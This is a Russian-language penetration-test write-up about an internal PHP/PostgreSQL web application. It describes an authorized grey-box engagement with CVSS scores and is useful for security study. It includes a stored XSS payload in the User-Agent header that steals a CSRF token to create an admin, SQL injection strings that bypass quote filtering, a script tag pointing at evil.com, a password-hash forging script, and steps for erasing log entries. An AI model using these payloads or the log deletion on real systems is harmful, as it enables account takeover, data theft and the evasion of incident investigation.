Содержание статьи
- Разведка
- Атака на клиентов веб-приложения
- XSS
- CSRF
- Проведение атаки
- Результат № 1
- Атака на сервер
- SQLi
- Результат № 2
- Дальнейшие пути развития
- Бэкап
- Подготовка к атаке
- Определение спецификации запроса на добавление пользователя
- Определение алгоритма хеширования пароля
- Создание пользователя
- Генерация хеша пароля для нового пользователя
- Проверка
- Мысли вслух
- Удаление действий из лога
- Вывод
Я работаю в большой организации, и, как положено большой организации, у нас есть внутренние веб-приложения, которые реализуют довольно ответственную бизнес-логику. Именно о таком приложении мы сегодня и поговорим: проведем его анализ защищенности, найдем парочку уязвимостей и навсегда уясним, как не стоит хранить бэкапы. Сразу скажу, данное веб-приложение не имеет доступа в интернет и все найденные уязвимости уже устранены.
Разведка
Итак, приступим. Рабочая директория этого веб-приложения — /sflat/
, и туда нас посылает заголовок Location
в ответе сервера со статус-кодом 302 в случае обращения к корневой директории (рис. 1).
При обращении к этой директории происходит еще одно перенаправление на HTTPS-версию, которая использует самоподписанный сертификат (рис. 2).
Как видишь, сервер отвечает статус-кодом 302 и в ответе присутствует заголовок Set-Cookie, что небезопасно: при таком алгоритме выдачи идентификатора сессии его можно перехватить во время получения идентификатора по протоколу HTTP. Для этого достаточно просто реализовать MITM-атаку (встав посередине между клиентом и сервером) и прослушать трафик.
Но спешу тебя заверить: такой фокус не проходит, потому что, когда на HTTPS-версию сервиса обращаются с идентификатором, выданным ранее по HTTP, сервер не принимает данный идентификатор и еще раз выставляет заголовок Set-Cookie с новым идентификатором и такими же флагами.
И что такого в HTTPS-версии сервиса, как нам это помешает? А помешает нам это тем, что провести XSS-атаку с подгружаемым с HTTP-домена внешним скриптом не получится:
<script src="http://evil.com/evil.js"></script>
Если мы подгрузим такой скрипт с HTTP-домена, то более-менее современный браузер клиента ругнется на mixed content, не загрузит и не выполнит его (рис. 3).
Тогда у нас не остается выбора, кроме как подгружать внешний скрипт с HTTPS-домена, но самоподписанный сертификат тут не пройдет, и нам придется покупать сертификат.
Идем дальше. При обращении к директории /sflat/
запрос обрабатывает скрипт /sflat/index.php
, который просит нас ввести свои учетные данные (они у нас есть, для теста на проникновение была предоставлена учетная запись с административными правами, тестируем методом серого ящика). Так выглядит страница аутентификации (рис. 4).
Первым делом начнем с того, что узнаем как можно больше об исследуемой системе, посмотрим на эту же страницу аутентификации в raw-формате (рис. 5).
Какие выводы мы можем сделать на данном этапе:
- Сервер не выдает информацию о себе. Мы видим, что это Apache, но не знаем, какой версии и в какой ОС он работает (заголовок Server можно изменить, так что полностью доверять ему не стоит).
- Значение заголовка Set-Cookie говорит нам о том, что PHPSESSID (сессионный идентификатор пользователя) должен передаваться только по протоколу HTTPS (флаг
secure
) и перехватить его, прослушивая трафик, не получится, как и получить его значение с помощью XSS (флагHttpOnly
), если, конечно, на сервере запрещен метод Trace. Ведь если метод Trace доступен, тогда возможно провести атаку XST и считать Cookie, даже если они защищены флагомHttpOnly
. - Заголовок CSP (Content Security Policy) не используется, а данная технология позволяет четко задать список ресурсов, с которых возможно загружать скрипты, стили, фреймы и прочее. Кстати, во второй версии CSP можно даже указать хеш-сумму скрипта, который может быть исполнен. Значит, все-таки стоит подумать об XSS.
- Объявлен тип строгого синтаксиса XHTML, поэтому забываем об атаке RPO (Relative Path Overwrite):
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" ... >
- Данное приложение использует библиотеку jQuery, а это значит, что XSS для нас сильно упрощается, так как мы можем использовать короткие и емкие методы jQuery (write less, do more — так вроде звучит их слоган), в случае если у нас будет ограниченный размер полезной нагрузки.
Атака на клиентов веб-приложения
Обычно тест на проникновение в таких закрытых системах я начинаю с проведения атак на клиентов, так как их защитой обычно пренебрегают. Но, как видно из первичного анализа, не стоит ожидать особо больших результатов при проведении атак на клиентов этого веб-приложения.
XSS
При упоминании атак на клиентов первое, что приходит в голову, — это XSS-атаки, которые существуют благодаря недостаточному или полному отсутствию фильтрации вывода данных на страницу.
Как правило, одна из основных целей XSS атак — это угон сессий. Узнаем, сможем ли мы украсть PHPSESSID. Исходя из того, что мы уже знаем, у нас есть шанс украсть данный идентификатор, только если метод Trace доступен на сервере.
Как видно из рис. 6, сервер запрещает использование метода Trace, так что мы забываем об атаке XST и пока что забываем об XSS.
CSRF
Следующее важное звено в атаках на клиентов — это CSRF. Ситуация та же: все важные формы защищены с помощью CSRF-токена. Но данный токен выдается один раз на всю сессию пользователя, и, что самое интересное, разработчики с помощью JavaScript могут получить его значение — а если они могут, то и мы сможем (рис. 7).
Проведение атаки
Итак, что у нас есть на данный момент: мы можем получить значение CSRF-токена, который не протухает в течение всей пользовательской сессии, с помощью XSS. Осталось только ее найти. Что я только не делал, как только не пробовал инъектировать client-side код в выводимые пользователю страницы, как много времени у меня ушло на поиск отраженных XSS, но ничего не выходило!
Однако через некоторое время я натолкнулся на интересную вкладку под названием «История изменений» (рис. 8).
В этой вкладке ведется история всех изменений в сервисе, но, кроме того, в историю записываются факты аутентификации: кто, когда, с какого IP-адреса и с каким User-Agent зашел (рис. 9).
А существует ли фильтрация строки User-Agent? Проверим это с помощью дополнения Modify Headers. Изменим User-Agent браузера, в качестве наиболее короткого примера выберем строку User-Agent для браузера Internet Explorer в Windows XP: Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
— всего 46 байт, а в качестве проверки на наличие фильтров добавим к данной строке следующее:
<script>console.log(document.cookie)</script>
Данный скрипт выведет в консоль браузера текущие Cookie пользователя. Мы специально не пользуемся функциями alert
и prompt
, поскольку они могут нас скомпрометировать, когда администратор сервиса будет просматривать вкладку «История изменений». Получаем еще 45 байт, итого 91 байт полезной нагрузки. Так выглядит получившийся User-Agent в Modify Headers (рис. 10).
А теперь проверим, фильтрует ли приложение строку User-Agent. Для этого заново проходим аутентификацию в сервисе с уже измененным значением заголовка User-Agent, открываем консоль браузера и переходим во вкладку «История изменений» (рис. 11).
Как видим, в консоли браузера появилось значение CSRF-TOKEN=…
, а это значит, что наша полезная нагрузка отработала, при этом строка в истории говорит о том, что пользователь просто вошел в систему с использованием браузера Internet Explorer в Windows XP.
Итого на данный момент получаем следующее: хранимая XSS с условием, что злоумышленник пройдет аутентификацию, а администратор просмотрит историю изменений. Не так уж и плохо!
Теперь придумаем коварную полезную нагрузку. Первое, что приходит в голову, — создать нового администратора в приложении. Что для этого нужно:
- Пользователь с административными правами в сервисе должен просмотреть строку в истории изменений, в которой будет содержаться наша полезная нагрузка.
- Нам необходимо узнать спецификацию запроса на добавление нового пользователя с административными правами.
- Размер полезной нагрузки не должен превышать длины буфера, который используется для вывода строки User-Agent.
Длину буфера, который хранит строку с User-Agent, мы не знаем, а чтобы узнать, нам придется отправить длинную строку в заголовке User-Agent на этапе аутентификации в приложении, что нас сразу же выдаст, если администратор просмотрит историю. Раз мы не можем узнать длину буфера, просто ориентируемся на минимальный объем полезной нагрузки, который только получится.
Административные права в приложении у нас есть, так как нам предоставлена админская учетная запись в целях тестирования, а спецификацию запроса сейчас узнаем. Для этого попробуем создать пользователя и перехватим запрос к серверу с помощью Burp Suite (рис. 12).
Теперь есть все необходимое для создания полезной нагрузки на JavaScript, которая создаст нового администратора в сервисе:
- В запросе на добавление пользователя присутствует значение CSRF-токена (второй параметр в теле POST-запроса), данное значение мы можем получить из document.cookie, удалив первые 11 байт:
t=document.cookie.substr(11);
. - Необходимо отправить POST-запрос, для этого к нам на помощь придет jQuery c методом POST:
$.post("/sflat/add.php","mode=add_user&csrf="+t+"...")
В общем, User-Agent будет выглядеть так:
Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)<script>t=document.cookie.substr(11);$.post("/sflat/add.php","mode=add_user&csrf="+t+"...");</script>
Перехватываем в Burp Suite запрос на аутентификацию в сервисе и подменяем User-Agent (рис. 13).
Как видишь, данный запрос должен создать администратора сервиса с именем А, логином АB (ограничение приложения: логин должен содержать от 2 до 20 символов) и паролем А.
Проверим, работает ли наша полезная нагрузка. Для этого опять перейдем во вкладку «История изменений» и откроем вкладку «Network» в консоли браузера, чтобы убедиться, что браузер отправляет POST-запрос на добавление пользователя (рис. 14).
Запрос был успешно отправлен браузером (получен статус-код 200), а так как наша учетная запись имеет административные права, то новый пользователь был успешно создан. Попробуем аутентифицироваться с новыми учетными данными (рис. 15).
И у нашей новой учетной записи административные права. Цель достигнута (рис. 17)!
Результат № 1
С атаками на пользователей закончим. Итого в сухом остатке следующий вектор: внутренний злоумышленник с минимальными правами в сервисе может получить к нему административный доступ через хранимую XSS в строке User-Agent при прохождении аутентификации в сервисе, данная XSS сработает тогда, когда администратор просмотрит историю изменений. Для оценки найденных уязвимостей мы используем систему оценки CVSS второй версии. Да, да, ты говоришь: уже есть третья версия, почему вы используете устаревшую? Но мы к ней привыкли :). Кстати, если тебе интересно, как оценить найденную уязвимость, то можешь воспользоваться этим сайтом или этим.
Вектор CVSS v2: (AV:N/AC:H/Au:S/C:C/I:C/A:C), базовая оценка: 7.1.
Атака на сервер
А мы продолжим. Теперь займемся сервером и углубим нашу разведку. Сперва узнаем установленную ОС. Для этого воспользуемся всем известным средством сетевого сканирования Nmap. Из результатов сканирования видим, что веб-приложение работает на ОС Windows и, кроме 80-го и 443-го портов, открыт еще и 5432-й (СУБД PostgreSQL).
Говорить про поиск поддоменов и виртуал-хостов особого смысла нет, так как системы подобного рода строятся по принципу один сервер = одно приложение. Но никто нам не мешает поискать бэкапы, оставленные заботливыми администраторами в доступной для нас директории (Google Hacking Database (GHDB) нам не поможет, так как система не выходит в интернет). Для того чтобы пройтись по приложению и сбрутить имена файлов и директорий, воспользуемся утилитой DirBuster. Брут также интересных результатов не дал. Да... Негусто:
- ОС: Windows.
- Web server: Apache.
- DBMS: PostgreSQL.
- Backend: PHP.
SQLi
Идем дальше. Проверим наше веб-приложение на наличие SQLi. Потеряв большое количество времени и использовав все возможные фокусы при инъекциях в строковые параметры, я все-таки перешел к числовым — и не зря.
Протестируем параметр id
в POST-запросе на выдачу информации об управлении. Как видно из рис. 18, в базе данных содержится управление с именем «Тестовые данные» и номером 417
. Теперь попробуем запросить управление с номером 418-1
(рис. 19).
Выражение 418-1
выполнилось, и сервер вернул имя управления с номером 417
, но при этом инъекции в строковый параметр не проходят, а это значит, что, скорее всего, санитизация входящего параметра проводится, а вот типизация и валидация — нет, поэтому SQLi есть.
Для дальнейшей атаки с помощью UNION
-запроса необходимо определить количество и формат полей в запросе, в параметр которого происходит инъекция. Для этого в параметр подставим неверный идентификатор управления, например -1
, и будем перебирать количество полей с использованием значения null
, так как данное значение возможно выводить и со строковыми параметрами, и с числовыми. Также для определения количества полей в запросе можно воспользоваться оператором GROUP BY
, но это уже кому как больше нравится.
Как видно из рис. 20, в запросе осуществляется выборка по трем полям: первое — числовое, второе и третье — строковые.
Во время тестирования удалось определить следующее:
- На страницу сервер выводит результат выборки по первым двум полям.
- Происходит санитизация кавычек и знака точка с запятой.
При санитизации для UNION
-запросов с условием (WHERE
), где необходимо сделать сравнение со строкой, будем пользоваться функциями concat
и CHR
: первая соединяет символы или подстроки в одну строку, вторая позволяет выводить ASCII-символы по их номеру.
Попробуем узнать с помощью SQLi побольше информации: версию СУБД, текущего пользователя и базу данных (рис. 21).
А сейчас попытаемся узнать пароль или хеш пароля администратора веб-приложения. Чтобы это сделать, необходимо выполнить такой запрос:
-1 UNION SELECT 1,password,null FROM users WHERE login=‘admin’
В условиях санитизации кавычек запрос будет выглядеть так:
-1 UNION SELECT 1,password,null FROM users WHERE login=concat(CHR(97),CHR(100),CHR(109),CHR(105),CHR(110)).
Хеш пароля администратора мы получили (рис. 22), но при этом алгоритм хеширования восстановить не удалось. Единственное, что можно предположить исходя из длины хеша, — это то, что алгоритм хеширования, возможно, имеет вид
sha512(salt + md5(md5(password))).
Результат № 2
У нас есть еще один вектор: внутренний злоумышленник, имеющий аутентификационные данные и минимальные права в приложении, может провести атаку SQLi на базу данных веб-приложения и считать из нее все данные.
Вектор CVSS v2: (AV:N/AC:H/Au:S/C:C/I:N/A:N), базовая оценка: 4.9.
SQLi в числовой параметр в условиях санитизации одинарных кавычек и знака точка с запятой значит, что данные мы считать сможем, докуда дотянемся, а вот INSERT
- или UPDATE
-запросы сделать не получится. Это, конечно, не манипулирование пользователями сервиса или shell, но хоть что-то.
Дальнейшие пути развития
В нашей статье при атаке на сервер используется только SQLi, но не стоит забывать и о таких атаках, как RFI, LFI или XXE. И еще: если после сетевого сканирования ты точно знаешь версии сервисов, то обязательно посмотри, есть ли на них публичные эксплоиты, — ведь это стоит на 9-м месте в OWASP top 10.
Бэкап
После того как я потратил еще какое-то количество времени на поиск server-side-уязвимостей, мне вдруг пришла одна очень интересная мысль: если рабочая директория сервиса называется sflat
, то, может, ее бэкап тоже называется sflat
? Мысль оказалась верной. В корневой директории сервера находился архив sflat.rar
(рис. 23)!
В архиве содержался исходный код приложения, находящийся в рабочей директории проекта (рис. 24).
При анализе исходников были найдены две учетные записи для доступа к СУБД (рис. 25).
Пользователи rХХХХХХa
, eХХХХХХa
и пароли к ним в открытом виде. Удаленное подключение к базе данных результатов не дало (рис. 26).
Судя по ответу СУБД, можно сделать вывод о том, что удаленное подключение возможно только с доверенных IP-адресов.
Подготовка к атаке
При дальнейшем анализе исходных кодов была обнаружена директория /sflat/slov/
со служебными скриптами (рис. 27).
В этой служебной директории находился один очень интересный скрипт — stepenrod.php
:
<?php
header('Content-Type: text/html; charset=utf-8');
if ($_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') {
if ($_GET['q']) {
include('./../include/connect.php');
include('./../include/func.php');
$sql = "SELECT id, text FROM dict.relation WHERE LOWER(text) LIKE '" . strtolower_cyr($_GET['q']) . "%'";
$res = pg_query($sql);
if (!$res) die('Invalid query: ' . pg_result_error());
$output = "";
while ($f = pg_fetch_array($res)) {
$output .= "|" . $f['id'] . "|" . $f['text'] . "\n";
}
//header('Content-Type: text/html; charset=utf-8');
echo $output;
}
}
?>
Как видно из кода, для обращения к данному скрипту необходимо выставить заголовок запроса X-Requested-With
со значением XMLHttpRequest
. На вход данный скрипт принимает GET-параметр с именем q
и производит SELECT
-запрос к базе данных, при этом входной параметр не фильтруется. Данный недостаток позволяет произвести атаку SQLi.
Определение спецификации запроса на добавление пользователя
Дальнейший анализ исходных кодов выявил, что в скрипте add.php
содержится спецификация запроса на создание нового пользователя (рис. 28). Имя и тип столбцов в таблице users
возможно узнать также и с помощью SQLi, но частые обращения к одному и тому же скрипту и SQLi в GET-параметре могут привести к компрометации исследователя, поэтому при наличии исходного кода лучше пользоваться им.
После определения необходимых полей INSERT
-запроса для создания пользователя необходимо определить их валидные значения. Для этого сделаем выборку данных значений по существующему пользователю с помощью инъекции, основанной на UNION-запросе. В качестве имени пользователя выберем значение admin (рис. 29).
Определение алгоритма хеширования пароля
Как видишь, в INSERT
-запросе нет поля password
, но при выборке данное поле доступно, и там расположен хеш пароля. Для определения алгоритма хеширования также воспользуемся имеющимся исходным кодом. Для этого заглянем в скрипт add.php
, в котором и определен алгоритм хеширования пароля (рис. 30).
При этом мы знаем, что к бэкенду пароль в открытом виде не приходит. Он хешируется на стороне клиента с помощью JavaScript и отправляется в формате md5(md5(password))
(рис. 31).
В итоге получаем следующий алгоритм хеширования пароля:
sha512(id_user + md5(md5(password)))
Таким образом, у нас есть вся необходимая информация для создания нового пользователя в веб-приложении без прохождения аутентификации.
Создание пользователя
А теперь попробуем создать пользователя с логином sqli
, именем The_SQL_injection_Bypass
и административным доступом к системе (рис. 32).
Затем проверим, что пользователь создан, и узнаем его ID (рис. 33).
Генерация хеша пароля для нового пользователя
Пользователь создан, его ID 8de553f1-db73-4f03-84ca-a5bc2ca8fdab
, для генерации валидного хеша пароля был написан небольшой скрипт create_pass.php
(прошу извинить за #говнокод):
<?php
echo "<!DOCTYPE html>\n";
echo "<html><head></head><body>\n";
$id_user = $_GET['id_user'];
echo "user_id: ".$id_user."<br/>\n";
$password = $_GET['password'];
echo "password: ".$password."<br/>\n";
$hash_password = hash('md5', hash('md5', $password));
echo "md5(md5(password)): ".$hash_password."<br/>\n";
$hash = hash( 'sha512',$id_user.$hash_password);
echo "sha512(md5(md5(user_id + password))): ".$hash."<br/>\n";
echo "</body></html>\n"
?>
Создаем нашему пользователю c ID 8de553f1-db73-4f03-84ca-a5bc2ca8fdab
хеш для пароля sqli (рис. 34).
И обновляем хеш пароля для нашего пользователя (рис. 35).
Проверка
Чтобы проверить, что все получилось, входим в систему с логином sqli
и паролем sqli
(рис. 36).
Как видно из рис. 37, аутентификация успешно пройдена.
После входа система отобразила заданное при создании имя: «Пользователь: The_SQL_injection_Bypass».
Мысли вслух
Ты спросишь: если у тебя есть не ограниченная санитизацией, типизацией и валидацией SQLi к базе данных сервера, то почему бы тебе просто не выложить shell или сдампить файлы? Ответ прост: пользователь СУБД, из-под которого была проведена данная SQLi, не обладает правами на доступ к файловой системе.
Удаление действий из лога
После того как мы вошли в систему и вышли из нее с учетной записью sqli, наши действия попали в лог. Манипулировать записями в логе также возможно с помощью найденной SQLi. Для начала выведем активность пользователя sqli, выборка осуществляется также на основе айдишника: 8de553f1-db73-4f03-84ca-a5bc2ca8fdab
(рис. 38).
В логах видно, что пользователь sqli вошел в систему и вышел из нее. Такие данные нам в базе ни к чему 🙂 (рис. 39).
Ну и наконец, проверим, что записи удалены (рис. 40).
Вывод
Как видишь, благодаря небрежному хранению бэкапа приложения у нас появился еще один вектор с довольно большой базовой оценкой CVSS: внутренний злоумышленник, имеющий сетевую связность с сервером, на котором крутится данное веб-приложение, и не обладающий аутентификационными данными, может провести атаку SQLi на базу данных приложения. В том числе добавить, изменить или удалить пользователей приложения, кроме того, удалить лог своих действий из базы данных, что позволит ему избежать обнаружения и значительно затруднит расследование инцидента.
Вектор CVSS v2: (AV:N/AC:H/Au:N/C:C/I:C/A:C), базовая оценка: 7.6.